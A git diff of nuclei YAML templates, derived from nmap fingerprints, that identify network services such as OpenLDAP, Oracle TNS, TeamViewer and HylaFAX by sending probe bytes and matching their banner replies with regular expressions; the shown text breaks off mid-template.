deleted file mode 100644 index 6cf9374464..0000000000 --- a/nuclei-templates/Other/1149349278.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: pjlink -info: - name: PJLink projector control - author: nmap,cn-kali-team - tags: detect,tech,pjlink,service - severity: info - metadata: - device_type: media device - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: pjlink - type: regex - regex: - - ^PJLINK 0\r$ diff --git a/nuclei-templates/Other/613773972.yaml b/nuclei-templates/Other/116146157.yaml similarity index 100% rename from nuclei-templates/Other/613773972.yaml rename to nuclei-templates/Other/116146157.yaml diff --git a/nuclei-templates/Other/1192756401.yaml b/nuclei-templates/Other/1192756401.yaml deleted file mode 100644 index 599e321292..0000000000 --- a/nuclei-templates/Other/1192756401.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: ubiquiti-discovery -info: - name: Ubiquiti Discovery Service - author: nmap,cn-kali-team - tags: detect,tech,ubiquiti-discovery,service - severity: info - metadata: - info: v1 protocol, AirCam - rarity: 9 -tcp: -- name: ubiquiti-discoveryv1 - inputs: - - data: \x01\0\0\0 - host: - - '{{Hostname}}' - port: '10001' - extractors: - - name: ubiquiti-discovery - type: regex - regex: - - (?i)^\x01\0.[^\0].*\x0c\0\x06AirCam diff --git a/nuclei-templates/Other/1195423503.yaml b/nuclei-templates/Other/1195423503.yaml deleted file mode 100644 index 173a141e1a..0000000000 --- a/nuclei-templates/Other/1195423503.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: ldap -info: - name: OpenLDAP - author: nmap,cn-kali-team - tags: detect,tech,ldap,service - severity: info - metadata: - product: openldap - rarity: 6 - vendor: openldap - verified: true - version: 2.2.X - 2.3.X -tcp: -- name: ldapbind-req - inputs: - - data: \x30\x0c\x02\x01\x01\x60\x07\x02\x01\x02\x04\0\x80\0 - host: - - '{{Hostname}}' - port: 256,257,389,390,1702,3268,3892,4035 - extractors: - - name: ldap - type: regex - regex: - - ^0E\x02\x01\x01a@\n\x01\x02\x04\0\x049historical protocol version requested, use LDAPv3 instead diff --git a/nuclei-templates/Other/1197002657.yaml b/nuclei-templates/Other/1197002657.yaml new file mode 100644 index 0000000000..4249563261 --- /dev/null +++ b/nuclei-templates/Other/1197002657.yaml @@ -0,0 +1,23 @@ +id: netbios-ns +info: + name: Microsoft Windows XP netbios-ssn + author: nmap,cn-kali-team + tags: detect,tech,netbios-ns,service + severity: info + metadata: + hostname: $1 + info: 'workgroup: $2 user: $3' + operating_system: Windows XP + rarity: 4 +tcp: +- name: nbtstat + inputs: + - data: \x80\xf0\0\x10\0\x01\0\0\0\0\0\0\x20\x43\x4bAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0\x21\0\x01 + host: + - '{{Hostname}}' + port: '137' + extractors: + - name: netbios-ns + type: regex + regex: + - (?i)^\x80\xf0\x84\0\0\0\0\x01\0\0\0\0 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01\0\0\0\0...(\w{1,15}) *\0\x04\0(\w{1,15}) *\0\x84\0\w{1,15} *\x03\x04\0\w{1,15} *\x04\0(\w{1,15}) *\x03\x04\0\w{1,15} *\x1e\x84\0 diff --git a/nuclei-templates/Other/1200191409.yaml b/nuclei-templates/Other/1200191409.yaml new file mode 100644 index 0000000000..45b0dc8770 --- /dev/null +++ b/nuclei-templates/Other/1200191409.yaml @@ -0,0 +1,23 @@ +id: ftp-proxy +info: + name: WinProxy FTP proxy + author: nmap,cn-kali-team + tags: detect,tech,ftp-proxy,service + severity: info + metadata: + operating_system: Windows + product: winproxy + rarity: 0 + vendor: bluecoat + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: ftp-proxy + type: regex + regex: + - ^220 WinProxy FTP Gateway ready, enter username@host\[:port\]\r\n diff --git a/nuclei-templates/Other/1225742488.yaml b/nuclei-templates/Other/1225742488.yaml new file mode 100644 index 0000000000..6cc864eb49 --- /dev/null +++ b/nuclei-templates/Other/1225742488.yaml @@ -0,0 +1,19 @@ +id: service-monitor +info: + name: CA Spectrum + author: nmap,cn-kali-team + tags: detect,tech,service-monitor,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: service-monitor + type: regex + regex: + - ^550 Bad syntax\. Go away\.\n$ diff --git a/nuclei-templates/Other/123088729.yaml b/nuclei-templates/Other/123088729.yaml deleted file mode 100644 index f5ed19f03d..0000000000 --- a/nuclei-templates/Other/123088729.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: filemaker-xdbc -info: - name: FileMaker xDBC - author: nmap,cn-kali-team - tags: detect,tech,filemaker-xdbc,service - severity: info - metadata: - info: $3 - operating_system: Mac OS X $2 - rarity: 0 - version: $1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: filemaker-xdbc - type: regex - regex: - - (?i)^2\0\0\0\xc3\x0b.\0\0\0([\d.]+) on Mac OS X ([\d.]+) \(([\w_]+)\)\0\0\0\0\0 diff --git a/nuclei-templates/Other/1237096563.yaml b/nuclei-templates/Other/1237096563.yaml new file mode 100644 index 0000000000..09110b38cb --- /dev/null +++ b/nuclei-templates/Other/1237096563.yaml @@ -0,0 +1,21 @@ +id: beep +info: + name: Apple Xgrid Controller + author: nmap,cn-kali-team + tags: detect,tech,beep,service + severity: info + metadata: + device_type: specialized + operating_system: Mac OS X + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: beep + type: regex + regex: + - '(?i)^RPY \d \d \. \d \d+\r\nContent-Type: application/beep\+xml\r\n\r\n.*/beep/xgrid/controller/' diff --git a/nuclei-templates/Other/1259711169.yaml b/nuclei-templates/Other/1259711169.yaml deleted file mode 100644 index 0bf14562ed..0000000000 --- a/nuclei-templates/Other/1259711169.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: dbsnmp -info: - name: Oracle Intelligent Agent - author: nmap,cn-kali-team - tags: detect,tech,dbsnmp,service - severity: info - metadata: - info: RPC v$2 - rarity: 7 - version: $1 -tcp: -- name: oracle-tns - inputs: - - data: \0Z\0\0\x01\0\0\0\x016\x01,\0\0\x08\0\x7F\xFF\x7F\x08\0\0\0\x01\0 \0:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\04\xE6\0\0\0\x01\0\0\0\0\0\0\0\0(CONNECT_DATA=(COMMAND=version)) - host: - - '{{Hostname}}' - port: 1035,1521,1522,1525,1526,1574,1748,1754,14238,20000 - extractors: - - name: dbsnmp - type: regex - regex: - - (?i)^\0.\0\0\x02\0\0\0.*\(IAGENT = \(AGENT_VERSION = ([\d.]+)\)\(RPC_VERSION = ([\d.]+)\)\) diff --git a/nuclei-templates/Other/1264087241.yaml b/nuclei-templates/Other/1264087241.yaml new file mode 100644 index 0000000000..1be80a6762 --- /dev/null +++ b/nuclei-templates/Other/1264087241.yaml @@ -0,0 +1,20 @@ +id: vtun +info: + name: Vtun Virtual Tunnel + author: nmap,cn-kali-team + tags: detect,tech,vtun,service + severity: info + metadata: + rarity: 0 + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: vtun + type: regex + regex: + - ^VTUN server ver \. (\d[-.\w /]+)\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 diff --git a/nuclei-templates/Other/127948063.yaml b/nuclei-templates/Other/127948063.yaml index 8b971b55df..c5c9f82e33 100644 --- a/nuclei-templates/Other/127948063.yaml +++ b/nuclei-templates/Other/127948063.yaml @@ -16,4 +16,4 @@ tcp: - name: ppp type: regex regex: - - ^\x7e\xff\x7d\x23\xc0!}!}!} }4}\"}&} } } } }%}&\xf4\xd1\xa2\xf6}'}\"}\(}\"\xc7}#~~\xff}#\xc0!}!}!} }4}\"}&} } } } }%}&\xf4\xd1\xa2\xf6}'}\"}\(}\"\xc7}#~~\xff}#\xc0!}!}!} }4}\"}&} } } } }%}&\xf4\xd1\xa2\xf6}'}\"}\(}\"\xc7}#~~\xff}#\xc0!}!}!} }4}\"}&} } } } }%}&\xf4\xd1\xa2\xf6}'}\"}\(}\"\xc7}#~~\xff}#\xc0!}!}!} }4}\"}&} } } } }%}&\xf4\xd1\xa2\xf6}'}\"}\(}\"\xc7}#~~\xff}#\xc0!}!}!} }4}\"}&} } } } }%}&\xf4\xd1\xa2\xf6}'}\"}\(}\"\xc7}#~~\xff}#\xc0!}!}!} }4}\"}&} } } } }%}&\xf4\xd1\xa2\xf6\x7d\x27\x7d\x22\x7d\x28\x7d\x22\xc7\x7d\x23\x7e + - ^\x7e\xff\x7d\x23\xc0!}!}!} }4}\"}&} } } } }%}&\x81\xf4\xdb\xc0}'}\"}\(}\"\xc4\x80~~\xff}#\xc0!}!}!} }4}\"}&} } } } }%}&\x81\xf4\xdb\xc0}'}\"}\(}\"\xc4\x80\x7e diff --git a/nuclei-templates/Other/1287282955.yaml b/nuclei-templates/Other/1287282955.yaml new file mode 100644 index 0000000000..e6be36ea23 --- /dev/null +++ b/nuclei-templates/Other/1287282955.yaml @@ -0,0 +1,23 @@ +id: clementine +info: + name: Clementine music player remote control + author: nmap,cn-kali-team + tags: detect,tech,clementine,service + severity: info + metadata: + product: clementine + rarity: 0 + vendor: clementine-player + verified: true + version: 1.2.2 - 1.2.3 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: clementine + type: regex + regex: + - (?i)^\0\0\0.\x08\x0d\x10\.\xa2\x01.\x08. diff --git a/nuclei-templates/Other/1342019972.yaml b/nuclei-templates/Other/1342019972.yaml index ad8547f542..98ea144161 100644 --- a/nuclei-templates/Other/1342019972.yaml +++ b/nuclei-templates/Other/1342019972.yaml @@ -1,15 +1,15 @@ id: tftp info: - name: SolarWinds tftpd + name: Cisco router tftpd author: nmap,cn-kali-team tags: detect,tech,tftp,service severity: info metadata: - info: IP disallowed - operating_system: Windows + device_type: router + operating_system: IOS product: tftp_server rarity: 5 - vendor: solarwinds + vendor: cisco verified: true tcp: - name: dnsstatus-request @@ -22,4 +22,4 @@ tcp: - name: tftp type: regex regex: - - ^\0\x05\0\x02\0The IP address is not in the range of allowable addresses\.\0 + - ^\0\x05\0\x04Illegal operation\0$ diff --git a/nuclei-templates/Other/1342746263.yaml b/nuclei-templates/Other/1342746263.yaml deleted file mode 100644 index ec7ca834e1..0000000000 --- a/nuclei-templates/Other/1342746263.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: time -info: - name: 64 bits - author: nmap,cn-kali-team - tags: detect,tech,time,service - severity: info - metadata: - info: 64 bits - rarity: 3 -tcp: -- name: help - inputs: - - data: help\r\n\r\n - host: - - '{{Hostname}}' - port: 7,13,37,42 - extractors: - - name: time - type: regex - regex: - - (?i)^[\xd5-\xef]....\0\0\0$ diff --git a/nuclei-templates/Other/1369153466.yaml b/nuclei-templates/Other/1369153466.yaml deleted file mode 100644 index f2924a968b..0000000000 --- a/nuclei-templates/Other/1369153466.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: adobe-crossdomain -info: - name: Adobe cross-domain policy - author: nmap,cn-kali-team - tags: detect,tech,adobe-crossdomain,service - severity: info - metadata: - info: 'domain: $1; ports: $2' - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: adobe-crossdomain - type: regex - regex: - - ^\0$ diff --git a/nuclei-templates/Other/1372479638.yaml b/nuclei-templates/Other/1372479638.yaml deleted file mode 100644 index 0045fbfb1a..0000000000 --- a/nuclei-templates/Other/1372479638.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: telnet-proxy -info: - name: Ixia ixProxy telnet proxy - author: nmap,cn-kali-team - tags: detect,tech,telnet-proxy,service - severity: info - metadata: - rarity: 0 - version: $1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: telnet-proxy - type: regex - regex: - - '^\xff\xfc\x01\xff\xfd\"ixProxy V([\d.]+), Copyright \(C\) \d+ Ixia Communications\r\nEnter target port ip address as login name \(example: 10\.0\.1\.1\)\r\nlogin:' diff --git a/nuclei-templates/Other/1374740076.yaml b/nuclei-templates/Other/1374740076.yaml new file mode 100644 index 0000000000..764be7796c --- /dev/null +++ b/nuclei-templates/Other/1374740076.yaml @@ -0,0 +1,23 @@ +id: teamviewer +info: + name: TeamViewer + author: nmap,cn-kali-team + tags: detect,tech,teamviewer,service + severity: info + metadata: + product: teamviewer + rarity: 0 + vendor: teamviewer + verified: true + version: '5' +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: teamviewer + type: regex + regex: + - ^\x17\x24\x0a\x20\x00....\x88\x13\x80\0\0\0\0\0\x01\0\0\0\x11\x80\0\0\0\0\0\0\0\0\0\0\0\0\0\0$ diff --git a/nuclei-templates/Other/1400097940.yaml b/nuclei-templates/Other/1400097940.yaml deleted file mode 100644 index eb096db482..0000000000 --- a/nuclei-templates/Other/1400097940.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: remoting -info: - name: MS .NET Remoting services - author: nmap,cn-kali-team - tags: detect,tech,remoting,service - severity: info - metadata: - info: French - product: .net_framework - rarity: 0 - vendor: microsoft - verified: true -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: remoting - type: regex - regex: - - ^\.NET\x01\0\x02\0\0\0\0\0\0\0\x02\0\x03\x01\0\x03\0\x01\x01..\0\0Le serveur a rencontr\xc3\xa9 une erreur interne\. Pour obtenir plus d'informations, activez customErrors dans le fichier de configuration du serveur\.\x05\0\0\0\0 diff --git a/nuclei-templates/Other/1408482974.yaml b/nuclei-templates/Other/1408482974.yaml index d59c143acf..833b7cd96e 100644 --- a/nuclei-templates/Other/1408482974.yaml +++ b/nuclei-templates/Other/1408482974.yaml @@ -1,6 +1,6 @@ id: java-object info: - name: NE3S Naming Service + name: JBoss JNP service 6 author: nmap,cn-kali-team tags: detect,tech,java-object,service severity: info @@ -17,4 +17,4 @@ tcp: - name: java-object type: regex regex: - - ^\xac\xed\0\x05sr\0\x19java\.rmi\.MarshalledObject\x7c\xbd\x1e\x97\xedc\xfc>\x02\0\x03I\0\x04hash\[\0\x08locBytest\0\x02\[B\[\0\x08objBytesq\0~\0\x01xpsN\x96Rur\0\x02\[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\0\0xp\0\0\0\)\xac\xed\0\x05t..http://([\w._-]+):\d+q\0~\0\0q\0~\0\0uq\0~\0\x03\0\0\0\xc2\xac\xed\0\x05sr\0 org\.jnp\.server\.NamingServer_Stub\0\0\0\0\0\0\0\x02\x02\0\0xr\0\x1ajava\.rmi\.server\.RemoteStub\xe9\xfe\xdc\xc9\x8b\xe1e\x1a\x02\0\0xr\0\x1cjava\.rmi\.server\.RemoteObject\xd3a\xb4\x91\x0ca3\x1e\x03\0\0xpw6\0\x0bUnicastRef2\0..[\d.]+\0\0FRS\xf5\x7f\[<\xda\xbd\x92\xcfN\x8c\xcf\0\0\x01Ay\x1e\xc1\xba\x80\x01\0x + - (?i)^\xac\xed\0\x05sr\0\x19java\.rmi\.MarshalledObject\x7c\xbd\x1e\x97\xedc\xfc>\x02\0\x03I\0\x04hash\[\0\x08locBytest\0\x02\[B\[\0\x08objBytesq\0~\0\x01xp\x15\xc8\"\x95ur\0\x02\[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\0\0xp\0\0\0'\xac\xed\0\x05t..http://([\w._-]+):\d+/ diff --git a/nuclei-templates/Other/1418728238.yaml b/nuclei-templates/Other/1418728238.yaml new file mode 100644 index 0000000000..b679284c21 --- /dev/null +++ b/nuclei-templates/Other/1418728238.yaml @@ -0,0 +1,21 @@ +id: ssh +info: + name: APC AOS cryptlib sshd + author: nmap,cn-kali-team + tags: detect,tech,ssh,service + severity: info + metadata: + info: protocol $1 + operating_system: AOS + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: ssh + type: regex + regex: + - ^SSH-([\d.]+)-cryptlib\r?\n diff --git a/nuclei-templates/Other/1427908048.yaml b/nuclei-templates/Other/1427908048.yaml new file mode 100644 index 0000000000..d137cde8d4 --- /dev/null +++ b/nuclei-templates/Other/1427908048.yaml @@ -0,0 +1,19 @@ +id: ganglia +info: + name: Ganglia XML Grid monitor + author: nmap,cn-kali-team + tags: detect,tech,ganglia,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: ganglia + type: regex + regex: + - '(?i)^<\?xml version=\"1\.0\".*\n \n' diff --git a/nuclei-templates/Other/1430562328.yaml b/nuclei-templates/Other/1430562328.yaml new file mode 100644 index 0000000000..70a678f561 --- /dev/null +++ b/nuclei-templates/Other/1430562328.yaml @@ -0,0 +1,23 @@ +id: oracle +info: + name: Oracle Database + author: nmap,cn-kali-team + tags: detect,tech,oracle,service + severity: info + metadata: + product: database_server + rarity: 7 + vendor: oracle + verified: true +tcp: +- name: oracle-tns + inputs: + - data: \0Z\0\0\x01\0\0\0\x016\x01,\0\0\x08\0\x7F\xFF\x7F\x08\0\0\0\x01\0 \0:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\04\xE6\0\0\0\x01\0\0\0\0\0\0\0\0(CONNECT_DATA=(COMMAND=version)) + host: + - '{{Hostname}}' + port: 1035,1521,1522,1525,1526,1574,1748,1754,14238,20000 + extractors: + - name: oracle + type: regex + regex: + - ^\+\0\0\0$ diff --git a/nuclei-templates/Other/144853405.yaml b/nuclei-templates/Other/144853405.yaml deleted file mode 100644 index 2315ebf0d4..0000000000 --- a/nuclei-templates/Other/144853405.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: printer -info: - name: NetSarang Xlpd - author: nmap,cn-kali-team - tags: detect,tech,printer,service - severity: info - metadata: - hostname: $1 - info: HP LaserJet $2; Status $3 - operating_system: Windows - rarity: 6 -tcp: -- name: terminal-server - inputs: - - data: \x03\0\0\x0b\x06\xe0\0\0\0\0\0 - host: - - '{{Hostname}}' - port: 515,1028,1068,1503,1720,1935,2040,3388,3389 - extractors: - - name: printer - type: regex - regex: - - '^Host Name: ([-\w_.]+)\nPrinter Device: hp LaserJet (\w+)\nPrinter Status: ([^\r\n]+)\n\0\0' diff --git a/nuclei-templates/Other/1486043033.yaml b/nuclei-templates/Other/1486043033.yaml deleted file mode 100644 index 00e6e8fc69..0000000000 --- a/nuclei-templates/Other/1486043033.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: warcraft -info: - name: World of Warcraft world server - author: nmap,cn-kali-team - tags: detect,tech,warcraft,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: warcraft - type: regex - regex: - - (?i)^\x00\x2a\xec\x01.... diff --git a/nuclei-templates/Other/1501686950.yaml b/nuclei-templates/Other/1501686950.yaml deleted file mode 100644 index 6b6ec95e84..0000000000 --- a/nuclei-templates/Other/1501686950.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: jsonrpc -info: - name: XBMC JSON-RPC - author: nmap,cn-kali-team - tags: detect,tech,jsonrpc,service - severity: info - metadata: - device_type: media device - operating_system: Linux - rarity: 6 - version: $1 -tcp: -- name: wmsrequest - inputs: - - data: \x01\0\0\xfd\xce\xfa\x0b\xb0\xa0\0\0\0MMS\x14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x12\0\0\0\x01\0\x03\0\xf0\xf0\xf0\xf0\x0b\0\x04\0\x1c\0\x03\0N\0S\0P\0l\0a\0y\0e\0r\0/\09\0.\00\0.\00\0.\02\09\08\00\0;\0 \0{\00\00\00\00\0A\0A\00\00\0-\00\0A\00\00\0-\00\00\0a\00\0-\0A\0A\00\0A\0-\00\00\00\00\0A\00\0A\0A\00\0A\0A\00\0}\0\0\0\xe0\x6d\xdf\x5f - host: - - '{{Hostname}}' - port: 1549,1755,5001,9090 - extractors: - - name: jsonrpc - type: regex - regex: - - ^{\"error\":{\"code\":-32700,\"message\":\"Parse error\.\"},\"id\":null,\"jsonrpc\":\"([\w._-]+)\"} diff --git a/nuclei-templates/Other/1503454597.yaml b/nuclei-templates/Other/1503454597.yaml index e3b2305998..d9b0567230 100644 --- a/nuclei-templates/Other/1503454597.yaml +++ b/nuclei-templates/Other/1503454597.yaml @@ -5,13 +5,11 @@ info: tags: detect,tech,saprouter,service severity: info metadata: - hostname: $3 info: 'local time: $1' product: network_interface_router rarity: 0 vendor: sap verified: true - version: $2 tcp: - name: 'null' inputs: @@ -22,4 +20,4 @@ tcp: - name: saprouter type: regex regex: - - '(?i)^\0\0\0.NI_RTERR\0.\0\0\xff\xff\xff\xfb\0\0\0.\*ERR\*\x001\0connection timed out\0-5\0NI \(network interface\)\x00\d+\x00\d+\0nirout\.cpp\x00\d+\0RTPENDLIST::timeoutPend: CONNECTED timeout\0([^\0]+)\0\0\0\0\d+\0SAProuter ([\d.]+) on ''([\w._-]+)''\0\0\0\0\0\*ERR\*\0\0\0\0\0' + - (?i)^\0\0\0.NI_RTERR\0.\0\0\xff\xff\xff\xa4\0\0\0.\*ERR\*\x001\0route could not be established\0-92\0NI \(network interface\)\0\d+\0\0\0\0\0([^\0]+)\0\0\0\0\0SAProuter\0\0\0\0\0\*ERR\*\0\0\0\0\0 diff --git a/nuclei-templates/Other/1510316034.yaml b/nuclei-templates/Other/1510316034.yaml new file mode 100644 index 0000000000..1d24a01a33 --- /dev/null +++ b/nuclei-templates/Other/1510316034.yaml @@ -0,0 +1,22 @@ +id: pcp +info: + name: SGI Performance Co-Pilot + author: nmap,cn-kali-team + tags: detect,tech,pcp,service + severity: info + metadata: + product: performance_co-pilot + rarity: 0 + vendor: sgi + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: pcp + type: regex + regex: + - (?i)^\0\0\0\x14\0\0p\0\0\0..\0\0\0\0\x02\x01\0\0 diff --git a/nuclei-templates/Other/1528000005.yaml b/nuclei-templates/Other/1528000005.yaml deleted file mode 100644 index a4ccda80b0..0000000000 --- a/nuclei-templates/Other/1528000005.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: directconnect -info: - name: Shakespeer Direct Connect GUI - author: nmap,cn-kali-team - tags: detect,tech,directconnect,service - severity: info - metadata: - operating_system: Mac OS X - rarity: 0 - version: $1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: directconnect - type: regex - regex: - - ^server-version\$([\w._-]+)\|init-completion\$200\|port\$\d+\| diff --git a/nuclei-templates/Other/1528162206.yaml b/nuclei-templates/Other/1528162206.yaml new file mode 100644 index 0000000000..980ad6eaa3 --- /dev/null +++ b/nuclei-templates/Other/1528162206.yaml @@ -0,0 +1,22 @@ +id: sieve +info: + name: Dovecot Pigeonhole sieve + author: nmap,cn-kali-team + tags: detect,tech,sieve,service + severity: info + metadata: + info: Ubuntu + operating_system: Linux + rarity: 0 + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: sieve + type: regex + regex: + - ^\"IMPLEMENTATION\" \"Dovecot \(Ubuntu\) Pigeonhole\"\r\n\"SIEVE\" \"[\w._;-]+(?:\s+[\w._;-]+)*\"\r\n\"NOTIFY\" \"mailto\"\r\n\"SASL\" \"[\w._;-]*(?:\s+[\w._;-]+)*\"\r\n\"STARTTLS\"\r\n\"VERSION\" \"([\w._-]+)\"\r\nOK \"[^"]*\"\r\n$ diff --git a/nuclei-templates/Other/1530733397.yaml b/nuclei-templates/Other/1530733397.yaml deleted file mode 100644 index a5b20aa49f..0000000000 --- a/nuclei-templates/Other/1530733397.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: nntp -info: - name: Kerio MailServer nntpd - author: nmap,cn-kali-team - tags: detect,tech,nntp,service - severity: info - metadata: - rarity: 0 - version: $1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: nntp - type: regex - regex: - - ^200 +Kerio MailServer ([\w._-]+) +NNTP server ready\r\n diff --git a/nuclei-templates/Other/1532218426.yaml b/nuclei-templates/Other/1532218426.yaml new file mode 100644 index 0000000000..9b92cbfdb5 --- /dev/null +++ b/nuclei-templates/Other/1532218426.yaml @@ -0,0 +1,22 @@ +id: hylafax +info: + name: HylaFAX + author: nmap,cn-kali-team + tags: detect,tech,hylafax,service + severity: info + metadata: + hostname: $1 + operating_system: Unix + rarity: 0 + version: $2 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: hylafax + type: regex + regex: + - ^220 ([-.\w]+) server \(HylaFAX \(tm\) Version (\d[-.\w]+)\) ready\.\r\n$ diff --git a/nuclei-templates/Other/1562174632.yaml b/nuclei-templates/Other/1562174632.yaml new file mode 100644 index 0000000000..be1394e306 --- /dev/null +++ b/nuclei-templates/Other/1562174632.yaml @@ -0,0 +1,19 @@ +id: http-proxy +info: + name: unknown transparent proxy + author: nmap,cn-kali-team + tags: detect,tech,http-proxy,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: http-proxy + type: regex + regex: + - '^Invalid HTTP Request\n

Invalid HTTP Request

\n\nDescription: Bad request syntax\n
\n\n\n {400}\0' diff --git a/nuclei-templates/Other/1574414783.yaml b/nuclei-templates/Other/1574414783.yaml new file mode 100644 index 0000000000..fc97398510 --- /dev/null +++ b/nuclei-templates/Other/1574414783.yaml @@ -0,0 +1,23 @@ +id: bprd +info: + name: Veritas Netbackup + author: nmap,cn-kali-team + tags: detect,tech,bprd,service + severity: info + metadata: + info: refused + product: netbackup + rarity: 0 + vendor: symantec + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: bprd + type: regex + regex: + - '^gethostbyaddr: [\w ]+\n$' diff --git a/nuclei-templates/Other/681109274.yaml b/nuclei-templates/Other/1574535231.yaml similarity index 100% rename from nuclei-templates/Other/681109274.yaml rename to nuclei-templates/Other/1574535231.yaml diff --git a/nuclei-templates/Other/1596002635.yaml b/nuclei-templates/Other/1596002635.yaml deleted file mode 100644 index 4c1cff248b..0000000000 --- a/nuclei-templates/Other/1596002635.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: nntp-proxy -info: - name: Avast! anti-virus NNTP proxy - author: nmap,cn-kali-team - tags: detect,tech,nntp-proxy,service - severity: info - metadata: - info: cannot connect to $1 - operating_system: Windows - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: nntp-proxy - type: regex - regex: - - ^400 Cannot connect to NNTP server ([\w.-]+) \([^)]*\), connect error \d+\r\n diff --git a/nuclei-templates/Other/161072264.yaml b/nuclei-templates/Other/161072264.yaml new file mode 100644 index 0000000000..0de41fe4d1 --- /dev/null +++ b/nuclei-templates/Other/161072264.yaml @@ -0,0 +1,20 @@ +id: systat +info: + name: Linux systat + author: nmap,cn-kali-team + tags: detect,tech,systat,service + severity: info + metadata: + operating_system: Linux + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: systat + type: regex + regex: + - ^USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n diff --git a/nuclei-templates/Other/1611875862.yaml b/nuclei-templates/Other/1611875862.yaml deleted file mode 100644 index 0dc29a78d5..0000000000 --- a/nuclei-templates/Other/1611875862.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: service-monitor -info: - name: CA Spectrum - author: nmap,cn-kali-team - tags: detect,tech,service-monitor,service - severity: info - metadata: - info: User $1 - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: service-monitor - type: regex - regex: - - (?i)^\0\0\0\x18\0\0..\0\0..\xff\xff\xff\xff\xff\xff\xff\xff\0\0\0\x02\0\0\0\0\0\0\0.([^\0]+)\0 diff --git a/nuclei-templates/Other/1611879475.yaml b/nuclei-templates/Other/1611879475.yaml index 4bb7158ba3..c61c42c43f 100644 --- a/nuclei-templates/Other/1611879475.yaml +++ b/nuclei-templates/Other/1611879475.yaml @@ -1,6 +1,6 @@ id: bas info: - name: Blackberry Administration Service - Native Code Container + name: Blackberry Administration Service - Native Code Generator author: nmap,cn-kali-team tags: detect,tech,bas,service severity: info @@ -16,4 +16,4 @@ tcp: - name: bas type: regex regex: - - ^4dc\r\n$ + - ^4fd\r\n$ diff --git a/nuclei-templates/Other/1632054067.yaml b/nuclei-templates/Other/1632054067.yaml deleted file mode 100644 index eeb5c5ae41..0000000000 --- a/nuclei-templates/Other/1632054067.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: finger -info: - name: Lexmark T642 printer fingerd - author: nmap,cn-kali-team - tags: detect,tech,finger,service - severity: info - metadata: - device_type: printer - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: finger - type: regex - regex: - - '^\r\nIntegrated port\r\nPrinter Type: Lexmark T642\r\nPrint Job Status:' diff --git a/nuclei-templates/Other/1665372872.yaml b/nuclei-templates/Other/1665372872.yaml new file mode 100644 index 0000000000..d1a6c40c3c --- /dev/null +++ b/nuclei-templates/Other/1665372872.yaml @@ -0,0 +1,20 @@ +id: crestron-ctp +info: + name: Crestron $1 automation system text ui + author: nmap,cn-kali-team + tags: detect,tech,crestron-ctp,service + severity: info + metadata: + device_type: specialized + rarity: 0 +tcp: +- name: 'null' + 